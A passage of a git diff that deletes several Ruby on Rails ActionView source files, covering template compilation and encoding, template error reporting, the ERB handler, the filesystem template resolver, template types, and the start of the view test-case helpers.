-      @virtual_path      = details[:virtual_path]
-      @updated_at        = details[:updated_at] || Time.now
-      @formats           = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f  }
-      @compile_mutex     = Mutex.new
-    end
-
-    # Returns if the underlying handler supports streaming. If so,
-    # a streaming buffer *may* be passed when it start rendering.
-    def supports_streaming?
-      handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
-    end
-
-    # Render a template. If the template was not compiled yet, it is done
-    # exactly before rendering.
-    #
-    # This method is instrumented as "!render_template.action_view". Notice that
-    # we use a bang in this instrumentation because you don't want to
-    # consume this in production. This is only slow if it's being listened to.
-    def render(view, locals, buffer=nil, &block)
-      ActiveSupport::Notifications.instrument("!render_template.action_view", virtual_path: @virtual_path, identifier: @identifier) do
-        compile!(view)
-        view.send(method_name, locals, buffer, &block)
-      end
-    rescue Exception => e
-      handle_render_error(view, e)
-    end
-
-    def mime_type
-      message = 'Template#mime_type is deprecated and will be removed in Rails 4.1. Please use type method instead.'
-      ActiveSupport::Deprecation.warn message
-      @mime_type ||= Mime::Type.lookup_by_extension(@formats.first.to_s) if @formats.first
-    end
-
-    def type
-      @type ||= Types[@formats.first] if @formats.first
-    end
-
-    # Receives a view object and return a template similar to self by using @virtual_path.
-    #
-    # This method is useful if you have a template object but it does not contain its source
-    # anymore since it was already compiled. In such cases, all you need to do is to call
-    # refresh passing in the view object.
-    #
-    # Notice this method raises an error if the template to be refreshed does not have a
-    # virtual path set (true just for inline templates).
-    def refresh(view)
-      raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
-      lookup  = view.lookup_context
-      pieces  = @virtual_path.split("/")
-      name    = pieces.pop
-      partial = !!name.sub!(/^_/, "")
-      lookup.disable_cache do
-        lookup.find_template(name, [ pieces.join('/') ], partial, @locals)
-      end
-    end
-
-    def inspect
-      @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier
-    end
-
-    # This method is responsible for properly setting the encoding of the
-    # source. Until this point, we assume that the source is BINARY data.
-    # If no additional information is supplied, we assume the encoding is
-    # the same as <tt>Encoding.default_external</tt>.
-    #
-    # The user can also specify the encoding via a comment on the first
-    # line of the template (# encoding: NAME-OF-ENCODING). This will work
-    # with any template engine, as we process out the encoding comment
-    # before passing the source on to the template engine, leaving a
-    # blank line in its stead.
-    def encode!
-      return unless source.encoding == Encoding::BINARY
-
-      # Look for # encoding: *. If we find one, we'll encode the
-      # String in that encoding, otherwise, we'll use the
-      # default external encoding.
-      if source.sub!(/\A#{ENCODING_FLAG}/, '')
-        encoding = magic_encoding = $1
-      else
-        encoding = Encoding.default_external
-      end
-
-      # Tag the source with the default external encoding
-      # or the encoding specified in the file
-      source.force_encoding(encoding)
-
-      # If the user didn't specify an encoding, and the handler
-      # handles encodings, we simply pass the String as is to
-      # the handler (with the default_external tag)
-      if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
-        source
-      # Otherwise, if the String is valid in the encoding,
-      # encode immediately to default_internal. This means
-      # that if a handler doesn't handle encodings, it will
-      # always get Strings in the default_internal
-      elsif source.valid_encoding?
-        source.encode!
-      # Otherwise, since the String is invalid in the encoding
-      # specified, raise an exception
-      else
-        raise WrongEncodingError.new(source, encoding)
-      end
-    end
-
-    protected
-
-      # Compile a template. This method ensures a template is compiled
-      # just once and removes the source after it is compiled.
-      def compile!(view) #:nodoc:
-        return if @compiled
-
-        # Templates can be used concurrently in threaded environments
-        # so compilation and any instance variable modification must
-        # be synchronized
-        @compile_mutex.synchronize do
-          # Any thread holding this lock will be compiling the template needed
-          # by the threads waiting. So re-check the @compiled flag to avoid
-          # re-compilation
-          return if @compiled
-
-          if view.is_a?(ActionView::CompiledTemplates)
-            mod = ActionView::CompiledTemplates
-          else
-            mod = view.singleton_class
-          end
-
-          compile(view, mod)
-
-          # Just discard the source if we have a virtual path. This
-          # means we can get the template back.
-          @source = nil if @virtual_path
-          @compiled = true
-        end
-      end
-
-      # Among other things, this method is responsible for properly setting
-      # the encoding of the compiled template.
-      #
-      # If the template engine handles encodings, we send the encoded
-      # String to the engine without further processing. This allows
-      # the template engine to support additional mechanisms for
-      # specifying the encoding. For instance, ERB supports <%# encoding: %>
-      #
-      # Otherwise, after we figure out the correct encoding, we then
-      # encode the source into <tt>Encoding.default_internal</tt>.
-      # In general, this means that templates will be UTF-8 inside of Rails,
-      # regardless of the original source encoding.
-      def compile(view, mod) #:nodoc:
-        encode!
-        method_name = self.method_name
-        code = @handler.call(self)
-
-        # Make sure that the resulting String to be evalled is in the
-        # encoding of the code
-        source = <<-end_src
-          def #{method_name}(local_assigns, output_buffer)
-            _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
-          ensure
-            @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
-          end
-        end_src
-
-        # Make sure the source is in the encoding of the returned code
-        source.force_encoding(code.encoding)
-
-        # In case we get back a String from a handler that is not in
-        # BINARY or the default_internal, encode it to the default_internal
-        source.encode!
-
-        # Now, validate that the source we got back from the template
-        # handler is valid in the default_internal. This is for handlers
-        # that handle encoding but screw up
-        unless source.valid_encoding?
-          raise WrongEncodingError.new(@source, Encoding.default_internal)
-        end
-
-        begin
-          mod.module_eval(source, identifier, 0)
-          ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
-        rescue Exception => e # errors from template code
-          if logger = (view && view.logger)
-            logger.debug "ERROR: compiling #{method_name} RAISED #{e}"
-            logger.debug "Function body: #{source}"
-            logger.debug "Backtrace: #{e.backtrace.join("\n")}"
-          end
-
-          raise ActionView::Template::Error.new(self, e)
-        end
-      end
-
-      def handle_render_error(view, e) #:nodoc:
-        if e.is_a?(Template::Error)
-          e.sub_template_of(self)
-          raise e
-        else
-          template = self
-          unless template.source
-            template = refresh(view)
-            template.encode!
-          end
-          raise Template::Error.new(template, e)
-        end
-      end
-
-      def locals_code #:nodoc:
-        # Double assign to suppress the dreaded 'assigned but unused variable' warning
-        @locals.map { |key| "#{key} = #{key} = local_assigns[:#{key}];" }.join
-      end
-
-      def method_name #:nodoc:
-        @method_name ||= "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}".gsub('-', "_")
-      end
-
-      def identifier_method_name #:nodoc:
-        inspect.gsub(/[^a-z_]/, '_')
-      end
-  end
-end
diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb
deleted file mode 100644
index a89d512..0000000
--- a/actionpack/lib/action_view/template/error.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-require "active_support/core_ext/enumerable"
-
-module ActionView
-  # = Action View Errors
-  class ActionViewError < StandardError #:nodoc:
-  end
-
-  class EncodingError < StandardError #:nodoc:
-  end
-
-  class MissingRequestError < StandardError #:nodoc:
-  end
-
-  class WrongEncodingError < EncodingError #:nodoc:
-    def initialize(string, encoding)
-      @string, @encoding = string, encoding
-    end
-
-    def message
-      @string.force_encoding(Encoding::ASCII_8BIT)
-      "Your template was not saved as valid #{@encoding}. Please " \
-      "either specify #{@encoding} as the encoding for your template " \
-      "in your text editor, or mark the template with its " \
-      "encoding by inserting the following as the first line " \
-      "of the template:\n\n# encoding: <name of correct encoding>.\n\n" \
-      "The source of your template was:\n\n#{@string}"
-    end
-  end
-
-  class MissingTemplate < ActionViewError #:nodoc:
-    attr_reader :path
-
-    def initialize(paths, path, prefixes, partial, details, *)
-      @path = path
-      prefixes = Array(prefixes)
-      template_type = if partial
-        "partial"
-      elsif path =~ /layouts/i
-        'layout'
-      else
-        'template'
-      end
-
-      searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
-
-      out  = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
-      out += paths.compact.map { |p| "  * #{p.to_s.inspect}\n" }.join
-      super out
-    end
-  end
-
-  class Template
-    # The Template::Error exception is raised when the compilation or rendering of the template
-    # fails. This exception then gathers a bunch of intimate details and uses it to report a
-    # precise exception message.
-    class Error < ActionViewError #:nodoc:
-      SOURCE_CODE_RADIUS = 3
-
-      attr_reader :original_exception, :backtrace
-
-      def initialize(template, original_exception)
-        super(original_exception.message)
-        @template, @original_exception = template, original_exception
-        @sub_templates = nil
-        @backtrace = original_exception.backtrace
-      end
-
-      def file_name
-        @template.identifier
-      end
-
-      def sub_template_message
-        if @sub_templates
-          "Trace of template inclusion: " +
-          @sub_templates.collect { |template| template.inspect }.join(", ")
-        else
-          ""
-        end
-      end
-
-      def source_extract(indentation = 0, output = :console)
-        return unless num = line_number
-        num = num.to_i
-
-        source_code = @template.source.split("\n")
-
-        start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
-        end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
-
-        indent = end_on_line.to_s.size + indentation
-        return unless source_code = source_code[start_on_line..end_on_line]
-
-        formatted_code_for(source_code, start_on_line, indent, output)
-      end
-
-      def sub_template_of(template_path)
-        @sub_templates ||= []
-        @sub_templates << template_path
-      end
-
-      def line_number
-        @line_number ||=
-          if file_name
-            regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
-            $1 if message =~ regexp || backtrace.find { |line| line =~ regexp }
-          end
-      end
-
-      def annoted_source_code
-        source_extract(4)
-      end
-
-      private
-
-        def source_location
-          if line_number
-            "on line ##{line_number} of "
-          else
-            'in '
-          end + file_name
-        end
-
-        def formatted_code_for(source_code, line_counter, indent, output)
-          start_value = (output == :html) ? {} : ""
-          source_code.inject(start_value) do |result, line|
-            line_counter += 1
-            if output == :html
-              result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line])
-            else
-              result << "%#{indent}s: %s\n" % [line_counter, line]
-            end
-          end
-        end
-    end
-  end
-
-  TemplateError = Template::Error
-end
diff --git a/actionpack/lib/action_view/template/handlers/erb.rb b/actionpack/lib/action_view/template/handlers/erb.rb
deleted file mode 100644
index 7d7a7af..0000000
--- a/actionpack/lib/action_view/template/handlers/erb.rb
+++ /dev/null
@@ -1,146 +0,0 @@
-require 'action_dispatch/http/mime_type'
-require 'erubis'
-
-module ActionView
-  class Template
-    module Handlers
-      class Erubis < ::Erubis::Eruby
-        def add_preamble(src)
-          @newline_pending = 0
-          src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
-        end
-
-        def add_text(src, text)
-          return if text.empty?
-
-          if text == "\n"
-            @newline_pending += 1
-          else
-            src << "@output_buffer.safe_append='"
-            src << "\n" * @newline_pending if @newline_pending > 0
-            src << escape_text(text)
-            src << "';"
-
-            @newline_pending = 0
-          end
-        end
-
-        # Erubis toggles <%= and <%== behavior when escaping is enabled.
-        # We override to always treat <%== as escaped.
-        def add_expr(src, code, indicator)
-          case indicator
-          when '=='
-            add_expr_escaped(src, code)
-          else
-            super
-          end
-        end
-
-        BLOCK_EXPR = /\s+(do|\{)(\s*\|[^|]*\|)?\s*\Z/
-
-        def add_expr_literal(src, code)
-          flush_newline_if_pending(src)
-          if code =~ BLOCK_EXPR
-            src << '@output_buffer.append= ' << code
-          else
-            src << '@output_buffer.append=(' << code << ');'
-          end
-        end
-
-        def add_expr_escaped(src, code)
-          flush_newline_if_pending(src)
-          if code =~ BLOCK_EXPR
-            src << "@output_buffer.safe_append= " << code
-          else
-            src << "@output_buffer.safe_append=(" << code << ");"
-          end
-        end
-
-        def add_stmt(src, code)
-          flush_newline_if_pending(src)
-          super
-        end
-
-        def add_postamble(src)
-          flush_newline_if_pending(src)
-          src << '@output_buffer.to_s'
-        end
-
-        def flush_newline_if_pending(src)
-          if @newline_pending > 0
-            src << "@output_buffer.safe_append='#{"\n" * @newline_pending}';"
-            @newline_pending = 0
-          end
-        end
-      end
-
-      class ERB
-        # Specify trim mode for the ERB compiler. Defaults to '-'.
-        # See ERB documentation for suitable values.
-        class_attribute :erb_trim_mode
-        self.erb_trim_mode = '-'
-
-        # Default implementation used.
-        class_attribute :erb_implementation
-        self.erb_implementation = Erubis
-
-        # Do not escape templates of these mime types.
-        class_attribute :escape_whitelist
-        self.escape_whitelist = ["text/plain"]
-
-        ENCODING_TAG = Regexp.new("\\A(<%#{ENCODING_FLAG}-?%>)[ \\t]*")
-
-        def self.call(template)
-          new.call(template)
-        end
-
-        def supports_streaming?
-          true
-        end
-
-        def handles_encoding?
-          true
-        end
-
-        def call(template)
-          # First, convert to BINARY, so in case the encoding is
-          # wrong, we can still find an encoding tag
-          # (<%# encoding %>) inside the String using a regular
-          # expression
-          template_source = template.source.dup.force_encoding(Encoding::ASCII_8BIT)
-
-          erb = template_source.gsub(ENCODING_TAG, '')
-          encoding = $2
-
-          erb.force_encoding valid_encoding(template.source.dup, encoding)
-
-          # Always make sure we return a String in the default_internal
-          erb.encode!
-
-          self.class.erb_implementation.new(
-            erb,
-            :escape => (self.class.escape_whitelist.include? template.type),
-            :trim => (self.class.erb_trim_mode == "-")
-          ).src
-        end
-
-      private
-
-        def valid_encoding(string, encoding)
-          # If a magic encoding comment was found, tag the
-          # String with this encoding. This is for a case
-          # where the original String was assumed to be,
-          # for instance, UTF-8, but a magic comment
-          # proved otherwise
-          string.force_encoding(encoding) if encoding
-
-          # If the String is valid, return the encoding we found
-          return string.encoding if string.valid_encoding?
-
-          # Otherwise, raise an exception
-          raise WrongEncodingError.new(string, string.encoding)
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb
deleted file mode 100644
index 3304605..0000000
--- a/actionpack/lib/action_view/template/resolver.rb
+++ /dev/null
@@ -1,326 +0,0 @@
-require "pathname"
-require "active_support/core_ext/class"
-require "active_support/core_ext/class/attribute_accessors"
-require "action_view/template"
-require "thread"
-require "thread_safe"
-
-module ActionView
-  # = Action View Resolver
-  class Resolver
-    # Keeps all information about view path and builds virtual path.
-    class Path
-      attr_reader :name, :prefix, :partial, :virtual
-      alias_method :partial?, :partial
-
-      def self.build(name, prefix, partial)
-        virtual = ""
-        virtual << "#{prefix}/" unless prefix.empty?
-        virtual << (partial ? "_#{name}" : name)
-        new name, prefix, partial, virtual
-      end
-
-      def initialize(name, prefix, partial, virtual)
-        @name    = name
-        @prefix  = prefix
-        @partial = partial
-        @virtual = virtual
-      end
-
-      def to_str
-        @virtual
-      end
-      alias :to_s :to_str
-    end
-
-    # Threadsafe template cache
-    class Cache #:nodoc:
-      class SmallCache < ThreadSafe::Cache
-        def initialize(options = {})
-          super(options.merge(:initial_capacity => 2))
-        end
-      end
-
-      # preallocate all the default blocks for performance/memory consumption reasons
-      PARTIAL_BLOCK = lambda {|cache, partial| cache[partial] = SmallCache.new}
-      PREFIX_BLOCK  = lambda {|cache, prefix|  cache[prefix]  = SmallCache.new(&PARTIAL_BLOCK)}
-      NAME_BLOCK    = lambda {|cache, name|    cache[name]    = SmallCache.new(&PREFIX_BLOCK)}
-      KEY_BLOCK     = lambda {|cache, key|     cache[key]     = SmallCache.new(&NAME_BLOCK)}
-
-      # usually a majority of template look ups return nothing, use this canonical preallocated array to save memory
-      NO_TEMPLATES = [].freeze
-
-      def initialize
-        @data = SmallCache.new(&KEY_BLOCK)
-      end
-
-      # Cache the templates returned by the block
-      def cache(key, name, prefix, partial, locals)
-        if Resolver.caching?
-          @data[key][name][prefix][partial][locals] ||= canonical_no_templates(yield)
-        else
-          fresh_templates  = yield
-          cached_templates = @data[key][name][prefix][partial][locals]
-
-          if templates_have_changed?(cached_templates, fresh_templates)
-            @data[key][name][prefix][partial][locals] = canonical_no_templates(fresh_templates)
-          else
-            cached_templates || NO_TEMPLATES
-          end
-        end
-      end
-
-      def clear
-        @data.clear
-      end
-
-      private
-
-      def canonical_no_templates(templates)
-        templates.empty? ? NO_TEMPLATES : templates
-      end
-
-      def templates_have_changed?(cached_templates, fresh_templates)
-        # if either the old or new template list is empty, we don't need to (and can't)
-        # compare modification times, and instead just check whether the lists are different
-        if cached_templates.blank? || fresh_templates.blank?
-          return fresh_templates.blank? != cached_templates.blank?
-        end
-
-        cached_templates_max_updated_at = cached_templates.map(&:updated_at).max
-
-        # if a template has changed, it will be now be newer than all the cached templates
-        fresh_templates.any? { |t| t.updated_at > cached_templates_max_updated_at }
-      end
-    end
-
-    cattr_accessor :caching
-    self.caching = true
-
-    class << self
-      alias :caching? :caching
-    end
-
-    def initialize
-      @cache = Cache.new
-    end
-
-    def clear_cache
-      @cache.clear
-    end
-
-    # Normalizes the arguments and passes it on to find_templates.
-    def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
-      cached(key, [name, prefix, partial], details, locals) do
-        find_templates(name, prefix, partial, details)
-      end
-    end
-
-  private
-
-    delegate :caching?, to: :class
-
-    # This is what child classes implement. No defaults are needed
-    # because Resolver guarantees that the arguments are present and
-    # normalized.
-    def find_templates(name, prefix, partial, details)
-      raise NotImplementedError, "Subclasses must implement a find_templates(name, prefix, partial, details) method"
-    end
-
-    # Helpers that builds a path. Useful for building virtual paths.
-    def build_path(name, prefix, partial)
-      Path.build(name, prefix, partial)
-    end
-
-    # Handles templates caching. If a key is given and caching is on
-    # always check the cache before hitting the resolver. Otherwise,
-    # it always hits the resolver but if the key is present, check if the
-    # resolver is fresher before returning it.
-    def cached(key, path_info, details, locals) #:nodoc:
-      name, prefix, partial = path_info
-      locals = locals.map { |x| x.to_s }.sort!
-
-      if key
-        @cache.cache(key, name, prefix, partial, locals) do
-          decorate(yield, path_info, details, locals)
-        end
-      else
-        decorate(yield, path_info, details, locals)
-      end
-    end
-
-    # Ensures all the resolver information is set in the template.
-    def decorate(templates, path_info, details, locals) #:nodoc:
-      cached = nil
-      templates.each do |t|
-        t.locals         = locals
-        t.formats        = details[:formats] || [:html] if t.formats.empty?
-        t.virtual_path ||= (cached ||= build_path(*path_info))
-      end
-    end
-  end
-
-  # An abstract class that implements a Resolver with path semantics.
-  class PathResolver < Resolver #:nodoc:
-    EXTENSIONS = [:locale, :formats, :handlers]
-    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
-
-    def initialize(pattern=nil)
-      @pattern = pattern || DEFAULT_PATTERN
-      super()
-    end
-
-    private
-
-    def find_templates(name, prefix, partial, details)
-      path = Path.build(name, prefix, partial)
-      query(path, details, details[:formats])
-    end
-
-    def query(path, details, formats)
-      query = build_query(path, details)
-
-      # deals with case-insensitive file systems.
-      sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
-
-      template_paths = Dir[query].reject { |filename|
-        File.directory?(filename) ||
-          !sanitizer[File.dirname(filename)].include?(filename)
-      }
-
-      template_paths.map { |template|
-        handler, format = extract_handler_and_format(template, formats)
-        contents = File.binread template
-
-        Template.new(contents, File.expand_path(template), handler,
-          :virtual_path => path.virtual,
-          :format       => format,
-          :updated_at   => mtime(template))
-      }
-    end
-
-    # Helper for building query glob string based on resolver's pattern.
-    def build_query(path, details)
-      query = @pattern.dup
-
-      prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
-      query.gsub!(/\:prefix(\/)?/, prefix)
-
-      partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
-      query.gsub!(/\:action/, partial)
-
-      details.each do |ext, variants|
-        query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}")
-      end
-
-      File.expand_path(query, @path)
-    end
-
-    def escape_entry(entry)
-      entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
-    end
-
-    # Returns the file mtime from the filesystem.
-    def mtime(p)
-      File.mtime(p)
-    end
-
-    # Extract handler and formats from path. If a format cannot be a found neither
-    # from the path, or the handler, we should return the array of formats given
-    # to the resolver.
-    def extract_handler_and_format(path, default_formats)
-      pieces = File.basename(path).split(".")
-      pieces.shift
-
-      extension = pieces.pop
-      unless extension
-        message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
-                  "but will change to RAW in the future."
-        ActiveSupport::Deprecation.warn message
-      end
-
-      handler = Template.handler_for_extension(extension)
-      format  = pieces.last && Template::Types[pieces.last]
-      [handler, format]
-    end
-  end
-
-  # A resolver that loads files from the filesystem. It allows setting your own
-  # resolving pattern. Such pattern can be a glob string supported by some variables.
-  #
-  # ==== Examples
-  #
-  # Default pattern, loads views the same way as previous versions of rails, eg. when you're
-  # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
-  #
-  #   FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}")
-  #
-  # This one allows you to keep files with different formats in separate subdirectories,
-  # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
-  # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
-  #
-  #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
-  #
-  # If you don't specify a pattern then the default will be used.
-  #
-  # In order to use any of the customized resolvers above in a Rails application, you just need
-  # to configure ActionController::Base.view_paths in an initializer, for example:
-  #
-  #   ActionController::Base.view_paths = FileSystemResolver.new(
-  #     Rails.root.join("app/views"),
-  #     ":prefix{/:locale}/:action{.:formats,}{.:handlers,}"
-  #   )
-  #
-  # ==== Pattern format and variables
-  #
-  # Pattern has to be a valid glob string, and it allows you to use the
-  # following variables:
-  #
-  # * <tt>:prefix</tt> - usually the controller path
-  # * <tt>:action</tt> - name of the action
-  # * <tt>:locale</tt> - possible locale versions
-  # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
-  # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
-  #
-  class FileSystemResolver < PathResolver
-    def initialize(path, pattern=nil)
-      raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
-      super(pattern)
-      @path = File.expand_path(path)
-    end
-
-    def to_s
-      @path.to_s
-    end
-    alias :to_path :to_s
-
-    def eql?(resolver)
-      self.class.equal?(resolver.class) && to_path == resolver.to_path
-    end
-    alias :== :eql?
-  end
-
-  # An Optimized resolver for Rails' most common case.
-  class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
-    def build_query(path, details)
-      exts = EXTENSIONS.map { |ext| details[ext] }
-      query = escape_entry(File.join(@path, path))
-
-      query + exts.map { |ext|
-        "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
-      }.join
-    end
-  end
-
-  # The same as FileSystemResolver but does not allow templates to store
-  # a virtual path since it is invalid for such resolvers.
-  class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
-    def self.instances
-      [new(""), new("/")]
-    end
-
-    def decorate(*)
-      super.each { |t| t.virtual_path = nil }
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/template/text.rb b/actionpack/lib/action_view/template/text.rb
deleted file mode 100644
index 859c7bc..0000000
--- a/actionpack/lib/action_view/template/text.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module ActionView #:nodoc:
-  # = Action View Text Template
-  class Template
-    class Text #:nodoc:
-      attr_accessor :type
-
-      def initialize(string, type = nil)
-        @string = string.to_s
-        @type   = Types[type] || type if type
-        @type ||= Types[:text]
-      end
-
-      def identifier
-        'text template'
-      end
-
-      def inspect
-        'text template'
-      end
-
-      def to_str
-        @string
-      end
-
-      def render(*args)
-        to_str
-      end
-
-      def formats
-        [@type.to_sym]
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/template/types.rb b/actionpack/lib/action_view/template/types.rb
deleted file mode 100644
index db77cb5..0000000
--- a/actionpack/lib/action_view/template/types.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
-
-module ActionView
-  class Template
-    class Types
-      class Type
-        cattr_accessor :types
-        self.types = Set.new
-
-        def self.register(*t)
-          types.merge(t.map { |type| type.to_s })
-        end
-
-        register :html, :text, :js, :css,  :xml, :json
-
-        def self.[](type)
-          return type if type.is_a?(self)
-
-          if type.is_a?(Symbol) || types.member?(type.to_s)
-            new(type)
-          end
-        end
-
-        attr_reader :symbol
-
-        def initialize(symbol)
-          @symbol = symbol.to_sym
-        end
-
-        delegate :to_s, :to_sym, :to => :symbol
-        alias to_str to_s
-
-        def ref
-          to_sym || to_s
-        end
-
-        def ==(type)
-          return false if type.blank?
-          symbol.to_sym == type.to_sym
-        end
-      end
-
-      cattr_accessor :type_klass
-
-      def self.delegate_to(klass)
-        self.type_klass = klass
-      end
-
-      delegate_to Type
-
-      def self.[](type)
-        type_klass[type]
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
deleted file mode 100644
index 10b487f..0000000
--- a/actionpack/lib/action_view/test_case.rb
+++ /dev/null
@@ -1,270 +0,0 @@
-require 'active_support/core_ext/module/remove_method'
-require 'action_controller'
-require 'action_controller/test_case'
-require 'action_view'
-
-module ActionView
-  # = Action View Test Case
-  class TestCase < ActiveSupport::TestCase
-    class TestController < ActionController::Base
-      include ActionDispatch::TestProcess
-
-      attr_accessor :request, :response, :params
-
-      class << self
-        attr_writer :controller_path
-      end
-
-      def controller_path=(path)
-        self.class.controller_path=(path)
-      end
-
-      def initialize
-        super
-        self.class.controller_path = ""
-        @request = ActionController::TestRequest.new
-        @response = ActionController::TestResponse.new
-
-        @request.env.delete('PATH_INFO')
-        @params = {}
-      end
-    end
-
-    module Behavior
-      extend ActiveSupport::Concern
-
-      include ActionDispatch::Assertions, ActionDispatch::TestProcess
-      include ActionController::TemplateAssertions
-      include ActionView::Context
-
-      include ActionDispatch::Routing::PolymorphicRoutes
-
-      include AbstractController::Helpers
-      include ActionView::Helpers
-      include ActionView::RecordIdentifier
-      include ActionView::RoutingUrlFor
-
-      include ActiveSupport::Testing::ConstantLookup
-
-      delegate :lookup_context, :to => :controller
-      attr_accessor :controller, :output_buffer, :rendered
-
-      module ClassMethods
-        def tests(helper_class)
-          case helper_class
-          when String, Symbol
-            self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
-          when Module
-            self.helper_class = helper_class
-          end
-        end
-
-        def determine_default_helper_class(name)
-          determine_constant_from_test_name(name) do |constant|
-            Module === constant && !(Class === constant)
-          end
-        end
-
-        def helper_method(*methods)
-          # Almost a duplicate from ActionController::Helpers
-          methods.flatten.each do |method|
-            _helpers.module_eval <<-end_eval
-              def #{method}(*args, &block)                    # def current_user(*args, &block)
-                _test_case.send(%(#{method}), *args, &block)  #   _test_case.send(%(current_user), *args, &block)
-              end                                             # end
-            end_eval
-          end
-        end
-
-        attr_writer :helper_class
-
-        def helper_class
-          @helper_class ||= determine_default_helper_class(name)
-        end
-
-        def new(*)
-          include_helper_modules!
-          super
-        end
-
-      private
-
-        def include_helper_modules!
-          helper(helper_class) if helper_class
-          include _helpers
-        end
-
-      end
-
-      def setup_with_controller
-        @controller = ActionView::TestCase::TestController.new
-        @request = @controller.request
-        @output_buffer = ActiveSupport::SafeBuffer.new
-        @rendered = ''
-
-        make_test_case_available_to_view!
-        say_no_to_protect_against_forgery!
-      end
-
-      def config
-        @controller.config if @controller.respond_to?(:config)
-      end
-
-      def render(options = {}, local_assigns = {}, &block)
-        view.assign(view_assigns)
-        @rendered << output = view.render(options, local_assigns, &block)
-        output
-      end
-
-      def rendered_views
-        @_rendered_views ||= RenderedViewsCollection.new
-      end
-
-      class RenderedViewsCollection
-        def initialize
-          @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
-        end
-
-        def add(view, locals)
-          @rendered_views[view] ||= []
-          @rendered_views[view] << locals
-        end
-
-        def locals_for(view)
-          @rendered_views[view]
-        end
-
-        def rendered_views
-          @rendered_views.keys
-        end
-
-        def view_rendered?(view, expected_locals)
-          locals_for(view).any? do |actual_locals|
-            expected_locals.all? {|key, value| value == actual_locals[key] }
-          end
-        end
-      end
-
-      included do
-        setup :setup_with_controller
-      end
-
-    private
-
-      # Support the selector assertions
-      #
-      # Need to experiment if this priority is the best one: rendered => output_buffer
-      def response_from_page
-        HTML::Document.new(@rendered.blank? ? @output_buffer : @rendered).root
-      end
-
-      def say_no_to_protect_against_forgery!
-        _helpers.module_eval do
-          remove_possible_method :protect_against_forgery?
-          def protect_against_forgery?
-            false
-          end
-        end
-      end
-
-      def make_test_case_available_to_view!
-        test_case_instance = self
-        _helpers.module_eval do
-          unless private_method_defined?(:_test_case)
-            define_method(:_test_case) { test_case_instance }
-            private :_test_case
-          end
-        end
-      end
-
-      module Locals
-        attr_accessor :rendered_views
-
-        def render(options = {}, local_assigns = {})
-          case options
-          when Hash
-            if block_given?
-              rendered_views.add options[:layout], options[:locals]
-            elsif options.key?(:partial)
-              rendered_views.add options[:partial], options[:locals]
-            end
-          else
-            rendered_views.add options, local_assigns
-          end
-
-          super
-        end
-      end
-
-      # The instance of ActionView::Base that is used by +render+.
-      def view
-        @view ||= begin
-          view = @controller.view_context
-          view.singleton_class.send :include, _helpers
-          view.extend(Locals)
-          view.rendered_views = self.rendered_views
-          view.output_buffer = self.output_buffer
-          view
-        end
-      end
-
-      alias_method :_view, :view
-
-      INTERNAL_IVARS = [
-        :@__name__,
-        :@__io__,
-        :@_assertion_wrapped,
-        :@_assertions,
-        :@_result,
-        :@_routes,
-        :@controller,
-        :@_layouts,
-        :@_files,
-        :@_rendered_views,
-        :@method_name,
-        :@output_buffer,
-        :@_partials,
-        :@passed,
-        :@rendered,
-        :@request,
-        :@routes,
-        :@tagged_logger,
-        :@_templates,
-        :@options,
-        :@test_passed,
-        :@view,
-        :@view_context_class
-      ]
-
-      def _user_defined_ivars
-        instance_variables - INTERNAL_IVARS
-      end
-
-      # Returns a Hash of instance variables and their values, as defined by
-      # the user in the test case, which are then assigned to the view being
-      # rendered. This is generally intended for internal use and extension
-      # frameworks.
-      def view_assigns
-        Hash[_user_defined_ivars.map do |ivar|
